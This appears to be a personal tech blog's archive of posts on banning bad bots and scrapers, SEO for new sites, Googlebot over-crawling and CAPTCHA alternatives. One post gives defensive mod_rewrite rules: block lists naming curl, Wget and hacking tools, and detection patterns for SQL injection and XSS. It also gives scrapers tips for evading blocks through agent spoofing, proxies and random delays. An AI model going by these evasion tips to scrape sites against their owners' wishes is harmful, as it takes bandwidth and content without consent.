Showing posts with label robots. Show all posts
Showing posts with label robots. Show all posts

Wednesday, 23 October 2013

4 simple rules robots won't follow

4 simple rules robots won't follow

Job Rapists and Content Scrapers - how to spot and stop them!

I work with many sites from small blogs to large sites that receive millions of page loads a day. I have to spend a lot of my time checking my traffic log and logger database to investigate hack attempts, heavy hitting bots and content scrappers that take content without asking (on my recruitment sites and jobboards I call this Job Raping and the BOT that does it a Job Rapist).

I banned a large number of these "job rapists" the other week and then had to deal with a number of customers ringing up to ask why we had blocked them. The way I see it (and that really is the only way as it's my responsibility to keep the system free of viruses and hacks) if you are a bot and want to crawl my site you have to do the following steps.

These steps are not uncommon and many sites implement them to reduce bandwidth wasted on bad BOTS as well as protect their sites from spammers and hackers.

4 Rules For BOTS to follow


1. Look at the Robots.txt file and follow the rules

If you don't even bother looking at this file (and I know because I log those that do) then you have broken the most basic rule that all BOTS should follow.

If you can't follow even the most basic rule then you will be given a ban or 403 ASAP.

To see how easy it is to make a BOT that can read and parse a Robots.txt file please read this article (and this is some very basic code I knocked up in an hour or so)

How to write code to parse a Robots.txt file (including the sitemap directive).


2. Identify yourself correctly

Whilst it may not be set in stone, there is a "standard" for BOTS to identify themselves correctly in their user-agents and all proper SERPS and Crawlers will supply a correct user-agent.

If you look at some common ones such as Google or BING or a Twitter BOT we can see a common theme.

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Mozilla/5.0 (compatible;bingbot/2.0;+http://www.bing.com/bingbot.htm)
Mozilla/5.0 (compatible; TweetedTimes Bot/1.0; +http://tweetedtimes.com)

They all:
-Provide information on the browser compatibility e.g Mozilla/5.0.
-Provide their name e.g Googlebot, bingbot, TweetedTimes.
-Provide their version e.g 2.1, 2.0, 1.0
-Provide a URL where we can find out information about the BOT and what it does e.g http://www.google.com/bot.htmlhttp://www.bing.com/bingbot.htm and http://tweetedtimes.com

On the systems I control and on many others that use common intrusion detection systems at firewalls and system level (even WordPress plugins). Having a blank user-agent or a short one that doesn't contain a link or email address is enough to get a 403 or ban.

At the very least a BOT should provide some way to let the site owner find out who owns the BOT and what the BOT does.

Having a user-agent of "C4BOT" or "Oodlebot" is just not good enough.

If you are a new crawler identify yourself so that I can search for your URL and see whether I should ban you or not. If you don't identify yourself I will ban you!


3. Set up a Reverse DNS Entry

I am now using the "standard" way of validating crawlers against the IP address they crawl from.

This involves doing a reverse DNS lookup with the IP used by the bot.

If you haven't got this setup then tough luck. If you have then I will do a forward DNS to make sure the IP is registered with the host name.

I think most big crawlers are starting to come on board with this way of doing things now. Plus it is a great way to identify correctly that GoogleBot is really GoogleBot, especially when the use of user-agent switcher tools are so common nowadays.

I also have a lookup table of IP/user-agents for the big crawlers I allow. However if GoogleBot or BING start using new IP addresses that I don't know about the only way I can correctly identify them (especially after experiencing GoogleBOT hacking my site) is by doing this 2 step DNS verification routine.


4. Job Raping / Scraping is not allowed under any circumstances. 

If you are crawling my system then you must have permission from each site owner as well as me to do this.

I have had bots hit tiny weeny itsy bitsy jobboards with only 30 jobs have up to 400,000 page loads a day because of scrapers, email harvesters and bad bots.

This is bandwidth you should not be taking up and if you are a proper job aggregator like Indeed, JobsUK, GoogleBase then you should accept XML feeds of the jobs from the sites who want their jobs to appear on your site.

Having permission from the clients (recruiters/employers) on the site is not good enough as they do not own the content the site owner does. From what I have seen the only job aggregators who crawl rather than accept feeds are those who can't for whatever reason get the jobs the correct way.

I have put automated traffic analysis reports into my systems that let me know at regular intervals which bots are visiting me, which visitors are heavy hitting and which are spoofing, hacking, raping and other forms of content pillaging.

It really is like an arms race from the cold war and I am banning bots every day of the week for breaking these 4 simple to follow rules.

If you are legitimate bot then its not too hard to come up with a user-agent that identifies yourself correctly, set up a reverse DNS entry, follow the robots.txt rules and don't visit my site everyday crawling every single page!

Monday, 19 April 2010

Banning Bad Bots with Mod Rewrite

Banning Scrapers and Other Bad Bots using Mod Rewrite

There are many brilliant sites out there dedicated to the never ending war on bad bots and I thought I would add my own contribution to the lists of regular expressions used for banning spammers, scrapers and other malicious bots with Mod Rewrite.

As with all security measures a sys admin takes to lock down and protect a site or server a layered approach is best. You should be utilise as many different methods as possible so that an error, misconfiguration or breach of one ring in your defence does not mean your whole system is compromised.

The major problem with using the htaccess file to block bots by useragent or referrer is that any hacker worth the name would easily get round the rules by changing their agent string to a known browser or by hiding the referrer header.

However in spite of this obvious fact it still seems that many bots currently doing the rounds scraping and exploiting are not bothering to do this so its still worth doing. I run hundreds of major sites and have my own logger system which automatically scans traffic and blocks visitors who I catch hacking, spamming, scraping and heavy hitting. Therefore I regularly have access to the details of the badly behaving bots and whereas a large percentage of them will hide behind an IE or Firefox useragent a large percentage still use identifying agent strings that can be matched and banned.

The following directives are taken from one of my own personal sites and therefore I am cracking down on all forms of bandwidth theft. Anyone using an HTTP library like CURL, Snoopy, WinHTTP and not bothering to change their useragent will get blocked. If you don't want to do this then don't just copy and paste the rules.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /

# Block blank or very short user-agents. If they cannot be bothered to tell me who they are or provide jibberish then they are not welcome!
RewriteCond %{HTTP_USER_AGENT} ^(?:-?|[a-z1-9\-\_]{1,10})$ [NC]
RewriteRule .* - [F,L]

# Block a number of libraries, email harvesters, spambots, hackbots and known bad bots

# I know these libraries are useful but if the user cannot be bothered to change the agent they are worth blocking plus I only want people
# visiting my site in their browser. Automated requests with CURL usually means someone is being naughty so tough!
RewriteCond %{HTTP_USER_AGENT} (?:ColdFusion|curl|HTTPClient|Java|libwww|LWP|Nutch|PECL|PHP|POE|Python|Snoopy|urllib|Wget|WinHttp) [NC,OR] # HTTP libraries
RewriteCond %{HTTP_USER_AGENT} (?:ati2qs|cz32ts|indy|library|linkcheck|Morfeus|NV32ts|Pangolin|Paros|ripper|scanner) [NC,OR] # hackbots or sql injection detector tools being misused!
RewriteCond %{HTTP_USER_AGENT} (?:AcoiRobot|alligator|auto|bandit|capture|collector|copier|disco|devil|downloader|fetch|flickbot|hook|igetter|jetcar|leach|mole|miner|mirror|race|reaper|sauger|sucker|site|snake|stripper|vampire|weasel|whacker|xenu|zeus|zip) [NC] # offline downloaders and image grabbers
RewriteRule .* - [F,L]

# fake referrers and known email harvesters which I send off to a honeytrap full of fake emails
RewriteCond %{HTTP_USER_AGENT} (?:atomic|collect|e?mail|magnet|reaper|siphon|sweeper|harvest|(microsoft\surl\scontrol)|wolf) [NC,OR] # spambots, email harvesters
RewriteCond %{HTTP_REFERER} ^[^?]*(?:iaea|\.ideography|addresses)(?:(\.co\.uk)|\.org\.com) [NC]
RewriteRule ^.*$ http://english-61925045732.spampoison.com [R,L] # redirect to a honeypot


# copyright violation and brand monitoring bots
RewriteCond %{REMOTE_ADDR} ^12\.148\.196\.(12[8-9]|1[3-9][0-9]|2[0-4][0-9]|25[0-5])$ [OR]
RewriteCond %{REMOTE_ADDR} ^12\.148\.209\.(19[2-9]|2[0-4][0-9]|25[0-5])$ [OR]
RewriteCond %{REMOTE_ADDR} ^63\.148\.99\.2(2[4-9]|[3-4][0-9]|5[0-5])$ [OR]
RewriteCond %{REMOTE_ADDR} ^64\.140\.49\.6([6-9])$ [OR]
RewriteCond %{HTTP_USER_AGENT} (?:NPBot|TurnitinBot) [NC]
RewriteRule .* - [F,L]


# Image hotlinking blocker - replace any hotlinked images with a banner advert for the latest product I want free advertising for!
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?##SITEDOMAIN##\.com/.*$ [NC] # change to your own site domain!
RewriteCond %{HTTP_REFERER} !^https?://(?:images\.|www\.|cc\.)?(cache|mail|live|google|googlebot|yahoo|msn|ask|picsearch|alexa).*$ [NC] # ensure image indexers don"t get blocked
RewriteCond %{HTTP_REFERER} !^https?://.*(webmail|e?mail|live|inbox|outbox|junk|sent).*$ [NC] # ensure email clients don't get blocked
RewriteRule .*\.(gif|jpe?g|png)$ http://www.some-banner-advert.com/myadvert-468x60.png [NC,L] # free advertising for me


# Security Rules - these rules help protect your site from hacks such as sql injection and XSS

RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK) # no-one should be running these requests against my site!
RewriteRule .* - [F]

# My basic rules for catching SQL Injection - covers the majority of the automated attacks currently doing the rounds

# SQL Injection and XSS hacks - Most hackbots will malform links and then log 500 errors for details I use a special hack.php page to log details of the hacker and ban them by IP in future
# Works with the following extensions .php .asp .aspx .jsp so change/remove accordingly and change the name of the hack.php page or replace it with [F,L]
RewriteRule ^/.*?\.(?:aspx?|php|jsp)\?(.*?DECLARE[^a-z]+\@\w+[^a-z]+N?VARCHAR\((?:\d{1,4}|max)\).*)$ /hack\.php\?$1 [NC,L,U]
RewriteRule ^/.*?\.(?:aspx?|php|jsp)\?(.*?sys.?(?:objects|columns|tables).*)$ /hack\.php\?$1 [NC,L,U]
RewriteRule ^/.*?\.(?:aspx?|php|jsp)\?(.*?;EXEC\(\@\w+\);?.*)$ /hack\.php\?$1 [NC,L,U]
RewriteRule ^/.*?\.(?:aspx?|php|jsp)\?(.*?(%3C|<)/?script(%3E|>).*)$ /hack\.php\?$1 [NC,L,U] # XSS hacks

# Bad requests which look like attacks (these have all been seen in real attacks)
RewriteRule ^[^?]*/(owssvr|strmver|Auth_data|redirect\.adp|MSOffice|DCShop|msadc|winnt|system32|script|autoexec|formmail\.pl|_mem_bin|NULL\.) /hack.php [NC,L]

</IfModule>


Security, Free Advertising and Less Bandwidth

As you can see from the rules I have condensed the rules into sections to keep the file manageable. The major aim of the rules is to
  1. Improve security by blocking hackbots before they can reach the site.
  2. Reduce bandwidth by blocking the majority of automated requests that are not from known indexers such as Googlebot or Yahoo.
  3. Piss those people off who think they can treat my bandwidth as a drunk treats a wedding with a free bar. Known email scrapers go off to a honeypot full of fake email addresses and hotlinkers help me advertise my latest site or product by displaying banners for me.

Is it a pointless task?

A lot of the bad bot agent strings are well known and there are many more which could be added if you so wish however trying to keep a static file maintained with the latest bad boys is a pointless and thankless task. The best way is to automate the tracking of bad bots by logging users who request the robots.txt file by creating a dynamic file that can log the request to a file or database. Then you place directives in the robots.txt to DENY access to a special directory or file and then place links on your site to this file. Any agents who ignore the robots.txt file and crawl these links can then be logged and blocked.

I also utilise my own database driven logger system that constantly analyses the traffic looking for bad users which can then be banned. I have an SQL function that checks for hack attempts and spam by pattern matching the stored querystring as well as looking for heavy hitters (agents/IP's requesting lots of pages in a short time period). This helps mes prevent DDOS attacks as well as scrapers who think they can take 1000+ jobs without saying thank you!

A message for the other side

I know this probably defeats the point of me posting my htaccess rules but as well as defending my own systems from attack I also make use of libraries such as CURL in my own development to make remote HTTP requests. Therefore I can see the issues involved in automated crawling from both sides and I know all the tricks system admin use to block as well as the tricks scrapers use to bypass.

There are many legitimate reasons why you might need to crawl or scrape but you should remember that what goes around comes around. Most developers will have at least one or more of their own sites and therefore you should know that bandwidth is not free so stealing others will lead to bad karma. The web is full of lists containing bad agents and IP addresses obtained from log files or honey-traps so you don't just risk being banned from the site you are intending to crawl when you decide to test your new scraper out.

Remember if you hit a site so hard and fast it breaks (which is extremely possible in this day and age of cheaply hosted Joomla sites designed by four year olds.) then sys admin will start analysing log files looking for culprits. A quiet site that runs smoothly usually means the owner is happy and not looking for bots to ban

  • Rather than making multiple HTTP requests cache your content locally if possible.
  • Alternate requests between domains so that you don't hit a site too hard.
  • Put random delays in between requests.
  • Obey Robots.txt and don't risk getting caught in a honeypot or infinite loop by visiting pages you shouldn't be going to.
  • Never use the default agent as set in your chosen library.
  • Don't risk getting your server blacklisted by your crawling so always use a proxy.
  • Only scrape the bare minimum that you need to do the job. If you are only checking the header then don't return the body as well.

The following articles are a good read for people interested in this topic:




Saturday, 12 December 2009

Setting up a new site for SEO

Creating a new system for Search Engine Optimisation

When you are creating a new website the amount of time from conception to roll out can be anything up to a few months. I am talking here about custom built systems not Wordpress or blogger type sites that can be knocked up instantly.

You have the design work to be done, the back end to be developed, debugging and testing and any number of changes to accommodate for. This is usually an iterative process and once its complete and the site is live the owner will then concentrate on SEO by looking into viable search terms to target and trying to get back-links to the system as well as creating an online presence for the site.

The problem with this approach is that the SEO marketing is left until last and as we know with the major search engines they can be quite slow to react to changes within a site and Google will only update the Page Ranking for your site every few months. Therefore a good idea would be to move the SEO right to the front of your process so that you gain the benefits that time brings an online presence before the actual roll out of your site.

How would you go about this? How can you build up an online presence when there is nothing to present to the online world? Well here are some ideas that you can take onboard.

1. Get your domain purchased and ready as soon as possible.

2. Don't worry about features and functionality at this point as you will be doing this over the next few months as you site is being created. However once you have access to your webserver and your domain is ready put up a holding page.
This should be a pure HTML page that loads fast and contains lots of text describing your site and what features its going to be providing. Make sure the content explains that this system is coming soon and not ready yet. The content should not be a list of spammy keywords but it should contain various configurations of the search terms you want to target.

3. Make sure your holding page is laid out correctly with H1, H2 tags, paragraphs containing your targeted keywords wrapped in strong or em tags and links to other static pages. Do not use too much highlighted text but concentrate it on your key search terms.

4. If possible create static versions of the main pages that you are expecting to use on your finished system and link to them from your home page. For example if you are a catalogue site put up a static results page with a number of product items on it. Target your main sales items, the ones that you are hoping to sell the most of once the main site is ready. If you are going to gain SEO points for site age then you want those points to be related to items that will benefit you in future.

5. Make sure its clear that your site isn't ready yet and if possible have an email link or form where potential customers can put their names down on a mailing list to be informed when the site goes live. Or if you are a shop and have the ability to take orders offline ask them to contact you by email or phone if they see something they like. This way you can drum up interest before your site is ready.

6. Once you have a temporary website up you can concentrate on getting your real system ready without losing out on all the benefits of SEO that just having a site online gain. For example search engines such as Google will not even consider putting brand new sites at the top of rankings for certain search terms until a set period of time has passed. Known as a Sandbox this is to prevent spam sites from being created with huge numbers of backlinks taking all the top spots.
You may still be able to find your site in the index by searching for your domain or company name but other search terms which you are trying to target may not give you the desired result. Therefore having a temporary site up and running until your main site is ready is one way to get over this time delay as you really don't want your new site to suffer the sandbox on release date.

7. Search engines also see the length of time a site has been around as an important factor in calculating a sites authority. Remember site authority is important as when you get backlinks from sites with a higher authority than yours it helps boost your sites authority and also increases your Page Rank therefore you should aim to get backlinks in from sites with high authority but not link back as this may cancel out the benefit.

8. Remember Page Rank (PR) only gives an indication of the number of sites that link to yours. It doesn't say anything about the quality of your site in terms of content or the quality of the links that are pointing to you.
In the old days Page Rank was important as it was used as a way of allowing Internet users to rank the sites on the web as they would only be linking to good sites or so the idea went. However as with most ideas it was soon worked out that link farms and link exchanges could boost a sites PR which is why so many people still think that getting thousands of inbound links from anywhere is still a good thing.
I have no idea whether Google still considers PR on itself a useful tool but I have heard from many people that they don't. Because any site could get thousands of inbound links into them from link exchanges I am pretty certain that Google do not consider it that important in ranking otherwise all the top spots for most search terms would be taken up by spammy sites that offer nothing but ebooks or get rich schemes or other MLM BS.

9. Back links are important as Google still looks for sites that have good site authority that link to your site. If you are a new site selling custom widgets then you should aim to get backlinks from other widget selling sites or sites that relate to widgets in some way.
Having lots of backlinks from sites that have nothing to do with widgets won't help. Your PR may go up to a certain level but it doesn't tell Google that you are considered a relevant site in your field. Your site authority will go up when you have lots of sites in the same field as yours linking to you.

10. Backlinks are also important as they help get your pages indexed quickly by search engines. If you create a new page but have no inbound links to it then it may not get indexed even if the page is linked to internally or listed in your sitemap. I have found the quickest way to get a page indexed is by having some good quality backlinks to it from external sites.

11. If you are going to pay for advertising on other sites then you need to decide what you hope to get out of the advert as most advertising system that run over multiple sites use JavaScript iframes to load the advert content. Therefore if you are hoping to get backlinks to your site you are going to be disappointed unless the adverts are loaded server side so that search engine spiders can crawl them. If you are just trying to get brand awareness or drive traffic through clicks then Javascript loaded adverts are fine.

12. When you do use images wrapped in anchor tags on your site or adverts on other sites that take this format you should make use of all the available attributes. With an image wrapped in an anchor you have 3 possible areas to add search engine friendly content. These are the title attribute on the anchor tag and the title and ALT attributes on the image tag. Make sure you put good search terms in all 3 places and try to vary the terms so that you are making the most of these opportunities. Do not just put the name of your site in the attributes e.g

title = "Strictly Software"

but add search terms e.g

title = "Technical advice and free scripts from Strictly Software"

and then alternate it on the other two

title = "Strictly Software technical blog and downloads for developers"

ALT = "Technical development from Strictly Software, free downloads and great code"

13. The ALT tag is used for when the image cannot be loaded such as text browsers. However because text browsers or image free browsers are very rare you can probably add more text than the recommended short description of the image that an ALT tag is for.

14. Use commas in your search terms and try to get multiple sentence variations out of one piece of text without resorting to a list of keywords. Search bots are quite clever and can spot spam a mile away nowadays so you should make your search terms readable but also combine 2 or more search terms. For example.

title = "free online tools from Strictly Software the best technical blog for downloads and technical advice for free"

Now as a human reading this you might think its a bit unreadable as its quite long however for bots who crawl your site they will see this and not be able to tell that its slightly wordy only that it's not a list of spam keywords. However once your page has been indexed you now can search on the following variations to find the page.

Free online tools
Free online tools from Strictly Software
tools from Strictly Software
Strictly Software the best technical blog
Strictly Software the best technical blog for downloads
technical blog
technical blog for downloads
downloads and technical advice
downloads and technical advice for free
technical advice for free

Obviously this is just a quick example but you see what I mean. Make the most of your title and ALT attributes.

15. Good content is the most important thing on a site. If you are writing a blog then short one paragraph articles are no good as:
  1. They don't look like authoritative examples of the topic you are writing about
  2. They don't offer you the option to highlight the various search terms and combinations that you are targeting without it looking like spam.
  3. They don't offer the reader much and therefore you are less likely to get natural inbound links.

16. META tags are not as important as SEO applications downloaded from the web would like you to think. Most search engines ignore the keywords META tag nowadays and the description tag is hardly used anymore on search engine results pages unless no other search term specific content can be found in the article. Page titles are useful for usability and offer another area to enter search terms specific to the page but none of these are as important as good quality content.

17. Make sure your page content is split out appropriately with H1 tags to denote the topic and then H2 tags for sub headers and so on. Search engines see content within headers, anchor text and strong and em tags as more important than the other content as you have specially marked it out for the users attention therefore the search engine will also pay more attention to it. Do not wrap all your content in headers or strong tags as this will be seen as spam so keep it to under 10% of the overall content.

18. Put all your important links towards the top of the page and try to keep the number of links on a page to under a 100. I have seen pages that contain 250+ links and the most important links e.g to the site index were at the bottom in the footer and did not get indexed.

19. If you have lots of CSS or SCRIPT content try to put these in external files and reference them as far down the page as is possible so that your main content is the first thing a spider comes across. Try to put all your CSS references above any SCRIPT references as the browser will stop rendering the page to load in external script which may cause a nasty effect. This is one thing I hate about Googles AdSense adverts as you have to insert the SCRIPT at the place in the HTML where you want the advert to display and depending on how slow Google is to load the content it can cause a horrible delay. I have tried myself hacking about with this but as of yet don't have a way round it so if anyone does please let me know!

20. Make sure all images have width and height attributes on them. This is so that the browser does not have to wait for the image to load so it can look up the actual size of the image before being able to display it. With a specified height and width it can render the whole page and put aside the correct space for the image before it has loaded. As page load speed is one of the things that Google is now concentrating on when determining ranking then it makes sense to make your pages load as fast as possible.

So there are some tips to utilize on your temporary site as well as the completed site. If you can make the most of the time that it takes to get your site finished by having a search engine optimised temporary site up and running and gaining SEO points just by being accessible then you won't have to try so hard once your real site is ready.

There are lots more things you can try and you should download the various versions of all the Search Engine Optimiser tools that are available on the web. Most of these tools do basic content analysis by determining how much of the content is specific to various search terms as well as looking for missing or non specific META and other tags. However good SEO is something that is learnt over time and once you know the key aspects to look for its just a case of trial and error. Check out your competitor sites and see how they have optimised their pages, who is linking to them and what search terms they rank high on then try to target variations of terms that users search on but are not already saturated by existing sites. As with most things in life its mostly trial and error.


Wednesday, 8 July 2009

Another article about bots and crawlers

Good Guys versus the Bad Guys

As you will know if you have read my previous articles about badly behaved robots I have to spend a lot of time dealing with crawlers who access one of the 200+ jobboards I look after. Crawlers break down into 2 varieties, the first are the indexers such as Googlebot, YSlurp, Ask etc. They provide a service to the site owner by indexing their content and displaying it in search engines to drive traffic to the site. Although these are legitimate bots they
can still cause issues (see this article about over-crawling). The second class are those bots that don't benefit the site owner and in a large majority of cases try to harm the site either by hacking or spamming or content scraping (or job raping as we call it).

Now it maybe that the site owner wishes that any Tom, Dick and Harry can come along with a scrapper and take all their content but seeing that content is the main asset of a website its a bit like starting a shop and leaving the doors open all night with no-one manning the till. The problem is that most web content is publicly accessible and its very hard to prevent someone who is determined to scrape your content and at the same time have good SEO. For instance you could deliver all your content through Javascript or Flash but then the indexers like Googlebot won't be able to access your content either. Therefore to prevent overloaded servers, stolen bandwidth and content it becomes a complex game involving a lot more than having a blacklist of IP addresses and user-agents. Due to IP and Agent spoofing this is very unreliable so a variety of methods can be utilised by those wishing to reduce the amount of "Bad Traffic" including real time checks to identify users that are hammering the site, white lists and blacklists, bot traps, DNS checks and much more.

One of the problems I have found is that even bot traffic that is legitimate in the eyes of the site owner doesn't comply with even the most basic rules of crawler etiquette such as a proper user-agent string, parsing DNS validation or even following the Robots.txt file rules. In fact when we spoke to the technical team running one of these job-rapists/aggregators they informed us that they didn't have the technical capabilities to parse a Robots.txt file. Now I think this is plainly ridiculous as if you have the technical capability to crawl hundreds of thousands of pages a day all with different HTML and correctly parse this content to extract the job details which is then uploaded to your own server for display it shouldn't be too difficult to add a few lines in to parse the Robots.txt file. I am 99% positive this was just an excuse to hide the fact they knew if they did parse my Robots.txt file they would find they were banned from all my sites. Obviously I had banned them with other methods but just to show how easy it is to write code to parse a robots.txt file and for that matter a crawler I have added some example code to my technical site. How to parse a Robots.txt file with c#.

This is one of the primary reasons there is so much bot traffic on the web today. Its just too damn easy to either download and run a bot from the web or write your own. I'm not saying all crawlers and bots have nefarious reasons behind them but I reckon 80%+ of all Internet traffic is probably from crawlers and bots nowadays with the other 20% being porn, music and film downloads and social networking traffic. It would be interesting to get
exact figures for Internet traffic breakdown. I know from my own sites logging that on average 60-70% of traffic is crawler and I am guessing that doesn't include traffic from spoofed agents that didn't get identified as such.

Tuesday, 30 June 2009

Googlebot, Sitemaps and heavy crawling

Googlebot over-crawling a site

I recently had an issue with one of my jobboards that meant that Googlebot was over-crawling the site which was causing the following problems:
  1. Heavy loads on the server. The site in question was recording 5 million page loads a month which had doubled from 2.4 million within a month.
  2. 97% of all their traffic was accounted by Googlebot.
  3. The site is on a shared server so this heavy load was causing very high CPU and affecting other sites.

The reasons the site was receiving so much traffic boiled down to the following points.

  1. The site has a large number of categories which users can filter job searches by. These categories are displayed in whole and in subsets in prominent places such as quick links and a job browser which allows users to filter results. As multiple categories can be chosen when filtering a search this meant Googlebot was crawling every possible combination in various orders.
  2. A new link had been added within the last month to the footer which passed a sessionID in the URL. The link was to log whether users had Javascript enabled. As Googlebot doesn't keep session state or use Javascript it meant the number of crawled URLs actively doubled as each page the crawler hit would find a new link that it hadn't already spidered due to the new SessionID.
  3. The sitemap had been setup incorrectly containing URLs that didn't need crawling as well as incorrect change frequencies.
  4. The crawl rate was set to a very high level in Webmaster tools.

Therefore a site with around a thousand jobs was receiving 200,000 page loads a day nearly all of them from crawlers. To put this in some perspective other sites with 3000+ jobs, good SEO and high PR usually get around 20,000 page loads a day from crawlers.

One of the ways I rectified this situation was by changing the crawl rate to a low custom crawl rate of 0.2 crawls per second. This caused a nice big vertical drop in the graph and it alarmed the site owner as he didn't realise that there is no relation between the amount of pages crawled by Google and the sites page ranking or overall search engine optimisation.


Top Tips for getting the best out of crawlers

  • Setup a sitemap and submit it to Google, Yahoo and Live.
  • Make sure only relevant URLs are put in the sitemap. For example don't include pages such as error pages and logoff pages.
  • If you are rewriting URLs then don't include the non-rewritten URL as well as this will be counted as duplicate content.
  • If you are including URLs that take IDs as parameters to display database content then make sure you don't include the URL without a valid ID. Taking the site I spoke about earlier as an example, someone had included the following
www.some-site.com/jobview.asp

instead of

www.some-site.com/jobview.asp?jobid=35056

This meant crawlers were accessing pages without content and it was a pretty pointless and careless thing to do.

  • Make sure the change frequency value is set appropriately. For example on a jobboard when a job is posted its usually posted for between 7 and 28 days. It only needs to be crawled between once a week and once a month depending on the days it was advertised for. It does not need to be crawled every time so setting a value of always is inappropriate as the content will not change every time Googlebot accesses the URL.
  • Avoid circular references such as placing links to a site-index or category listings index in the footer of each page on a site. It makes it hard for the bot to determine the site structure as every path it drills down its able to find the parent page again. Although I suspect the bots technology is clever enough to realise its found a link already spidered and not crawl it again I have heard that it looks bad in terms of site structure.
  • Avoid dead links or links that lead to pages with no content. If you have a category index page and some categories have no content related to them then don't make the category into a link or otherwise link to a page that can show related content rather than nothing.
  • Prevent duplicate content and variations of the same URL being indexed by implementing one of the following two methods.
  1. Set your Robots.txt to disallow your non URL rewritten pages from being crawled and then only display rewritten URLS to agents identified as crawlers.
  2. Allow both forms of URL to be crawled but use a CANONICAL META tag to specify that you want the rewritten version to be indexed.
  • Ban crawlers who misbehave. If we don't spank them when they are naughty they will never learn so punish those that misbehave. Its very easy for an automated process to parse a Robots.txt file therefore there is no excuse for those bots that ignore the commands set out in it. If you want to know those bots who ignore the Robots.txt rules then there are various ways such as parsing your webserver log files or using a dynamic Robots.txt file to record those agents that access it. There are other ways such as using the IsBanned flag available in the Browscap.ini file however this relies on the user-agent being correct and more and more people spoof their agent nowadays. Not only is banning bots good for your servers performance as it reduces load its good for your sites security as bots that ignore the Robots.txt rules are more likely to hack, spam, and scrape your sites content.
If you are having similar issues with over-crawling then I would advise you to first check your sites structure to see if the problem is due to bad structure, invalid sitemap values and over categorisation first before changing the crawl rate. Remember a sites SEO is unrelated to the amount of crawler activity and more is not necessarily better. Its not the number of crawled pages that counts but rather the quality of the content that is found when the crawlers visit that matters.

Sunday, 8 February 2009

CAPTCHAS

CAPTCHAs don't you just love completing them?

Everybody hates filling in CAPTCHAS and even the most complex ones can be beaten either by using bots that make use of OCR (optical character recognition) to take apart the image and calculate the letters used or for those that cannot be beat they just link directly to the site using it and offer free porn to users who complete them.

Obviously for a spammer to go to that amount of effort to beat the CAPTCHA there has to be something worthwhile at the other end like a free email account to send out spammy emails. The other major reason to use automated CAPTCHA breakers is to insert comment spam mainly for links back to nefarious sites or to malware infected sites. So if all CAPTCHAS can be broken either by bots or by humans doing the work for bots is there any point in using them? Well yes I would say as unless you are running a site that offers something worthwhile like email accounts then the chances are having even a simple CAPTCHA system will reduce a large percentage of spam requests.

However a standard image based CAPTCHA is not the only means so here are some others.

Simple Robot Identification Tests

Use Javascript to identify humans

The idea is to only allow humans to submit the form and not bots so you could go down a simple route of using JavaScript to submit the form as 99.9% of bots do not run script. However you also have the problem that roughly 10% of your human traffic don't either. You could place a message at the bottom of the form asking the user to enable Javascript to submit the form. With the message itself hidden by JS so that users with it enabled don't see it.


Identify robots using IP and User-Agent

For those bots you can positively identify as crawlers by IP and User-Agent you can obviously prevent them from submitting the form however most spammers will spoof the agent and go through proxies and other cloaking mechanisms. Identifying a bot as a bot 100% of the time is the holy grail webmasters are seeking so if there was a way of doing this CAPTCHAs wouldn't be needed in the first place.


Using CAPTCHAs to help digitise books for online use

This is a neat idea where you know that those 10 or more seconds spend deciphering the image has not been a total waste of your time. The reCAPTCHA is based on a small portion of word from a book. The image is a section from a scanned version of a page and your answers are compared with other peoples responses to validate the likelihood of a sentence being correct. This is a good idea as even if you got one word wrong from a sentence you could still pass the test if the rest of the words were correct as the system checks the answer you gave for new words that have not been validated with words it knows the answer for.


Using hidden input fields to trick robots

This idea involves adding hidden input fields to your form which you want the robot to complete but not the human. When the form is submitted you check whether a value has been added to this field and if so you can block the request.

You can use either type="hidden" to hide the input or preferably use CSS and a class name that relates to a style e.g display:none; A bot could easily detect the element was hidden and ignore it the same way it could easily read inline styles to work out it was hidden. However with a class name it would have to read in the stylesheet to find out whether the class related to a hidden style or not which is obviously more effort but not impossible.

Also the aim is to trick the bots into filling it out without also tricking any form auto-complete systems such as Googles toolbar from doing the same. I have found problems with older versions of the toolbar when you give the input a name such as "EmailConfirm2" it would complete it as it mentioned a word used within the autofill profile. You could give the field a totally random name but then a clever bot would ignore it knowing it was a trick.

You can give it a name that relates to other visible form elements but prefix it or modify it slightly. Also make sure you place the field outside the flow of the other visible controls as I have found with Googles latest toolbar that it will complete inputs hidden with CSS if they are placed between other visible elements e.g between Name and Email or within Address1 and Address2. Therefore this method is not totally reliable.


Check submitted values for similarity

Also a lot of spammers will submit the same value for all form fields for example on a simple registration form of Name, Email, Confirm Email, Password and Confirm Password the spambot will enter an email address for all 5 controls. Unless you set up validation rules to ensure that email addresses are not used for passwords or names then it would submit the form. What you could do is check whether the same value has been used for Name, Email and Password and block the user. Only a percentage of bots do this and I myself when testing a new site often supply the same email address for all parts of a registration form to quickly get on the system.


Question and multi-part CAPTCHAS

This type which is not as popular as the common garden CAPTCHA is where the user is asked a question about the image. You may have four numbered animals on the image and the question would be "Which one makes the noise mooo" and you would have to pick the image related to the cow. Or the question maybe "what colour is the sky" which you may answer well its England in January so its grey and then find yourself blocked. The problem is making enough questions that can only be interpreted in one way as you are basing your CAPTCHA on a subjective question that you hope everyone will answer the same way.

Another form of this CAPTCHA which I have started using myself is the combination CAPTCHA where the distorted image holds a series of numbers. The user is then presented with a sum based question based on those numbers for example "Subtract the second number from the first and then multiply it by the third number". The sum and image is generated server side with the answer held in a database related to a key. Only the key and the question is passed to the client and the user has to answer the question within a set time period and within a set number of attempts to pass. Not only does this method not use Javascript so its available to all users it also has the affect of weeding out users who cannot do simple math.

A variation on this math based system which I have just read myself tonight so was pretty interested to see other people using is a similar math based solution when the question is only shown to the user if Javascript is disabled. If its enabled then Javascript is used to solve the CAPTCHA behind the scenes using some encrypted keys. This way the user is spared the agony of remembering their junior school times tables :). This solution is available as plug in so can be used by those not wanting to write their own.


So which one do I use?

The problem with the IT world is that its full of people who like a challenge and want to prove they can do anything. Therefore you will always have developers who will spend time writing clever bots designed to beat any form of CAPTCHA. So as with all security methods the best approach is a layered one that makes use of multiple techniques. The idea being the more hoops there are to jump through correctly the more likely you are to trip up some of those devious spammers and hackers.

If you can make your CAPTCHA solution slightly different from all the others then you also have a good chance of it not being beaten. Unless you are offering a golden honeypot on the other side of the submitted form i.e free email then there is no money in defeating it. If you are just a regular site then you want to stop the majority of spammers without making it too much trouble for your users to complete. Remember a lot of spammers are human as well so you will never stop all spam.

Related Links




